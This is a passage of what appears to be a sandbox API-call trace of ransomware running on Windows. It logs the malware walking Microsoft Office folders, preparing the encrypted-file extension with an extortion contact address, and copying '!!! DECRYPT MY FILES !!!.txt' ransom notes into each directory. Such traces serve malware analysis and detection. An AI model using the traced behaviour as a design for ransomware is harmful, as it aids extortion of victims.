cchLength=0x3b | out: lpsz="c:\\program files\\microsoft office\\root\\client\\concrt140.dll") returned 0x3b [0128.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0128.599] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0128.599] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0128.599] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1242d5d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1242d5d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1bcc41c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5644a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0128.599] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\concrt140.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll", len=0x39 | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 1 [0128.599] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft office\\root\\client\\mfc140u.dll") returned 0x39 [0128.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0128.600] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0128.600] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0128.600] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd244aa14, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0128.600] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\mfc140u.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll", len=0x3a | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 1 [0128.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll", cchLength=0x3a | out: lpsz="c:\\program files\\microsoft office\\root\\client\\msvcp120.dll") returned 0x3a [0128.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0128.600] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0128.600] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0128.600] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ea0ff2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ea0ff2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd20449b3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0128.601] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\msvcp120.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll", len=0x3a | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 1 [0128.601] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll", cchLength=0x3a | out: lpsz="c:\\program files\\microsoft office\\root\\client\\msvcp140.dll") returned 0x3a [0128.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0128.601] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0128.601] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0128.601] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e7acf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e7acf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1fac086, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0128.601] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\msvcp140.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll", len=0x3a | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 1 [0128.601] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll", cchLength=0x3a | out: lpsz="c:\\program files\\microsoft office\\root\\client\\msvcr120.dll") returned 0x3a [0128.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0128.601] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0128.602] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0128.602] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e2e85a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e2e85a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f5fb21, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0128.602] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\msvcr120.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll", len=0x3a | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 1 [0128.602] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll", cchLength=0x3a | out: lpsz="c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll") returned 0x3a [0128.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0128.602] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0128.602] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0128.602] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f0533c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0128.602] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 1 [0128.602] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll", cchLength=0x3d | out: lpsz="c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll") returned 0x3d [0128.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0128.603] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0128.603] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0128.603] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0128.603] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll", len=0x3e | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 1 [0128.603] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll", cchLength=0x3e | out: lpsz="c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll") returned 0x3e [0128.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0128.603] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0128.603] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0128.603] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0128.603] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0128.604] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0128.604] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\", len=0x2f | out: pbstr=0x6ebee10*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\") returned 1 [0128.604] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\", cchLength=0x2f | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\") returned 0x2f [0128.604] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0128.604] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0128.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0128.615] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.615] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0128.615] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\", len=0x38 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\") returned 1 [0128.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\", cchLength=0x38 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\") returned 0x38 [0128.615] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0128.615] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0128.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5040 [0128.976] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.978] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0128.978] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 1 [0128.978] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif") returned 0x44 [0128.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0128.979] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0128.979] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0128.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0128.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0128.979] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xcb32840, dwReserved1=0x1d327e8, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5200 [0128.979] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0128.979] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0131.736] GetProcessHeap () returned 0x630000 [0131.736] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x14) returned 0x66a3e0 [0131.736] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0131.736] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 1 [0131.736] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif") returned 0x44 [0131.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.737] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.737] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.737] GetProcessHeap () returned 0x630000 [0131.737] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x18) returned 0x66a3e0 [0131.737] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0131.737] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft 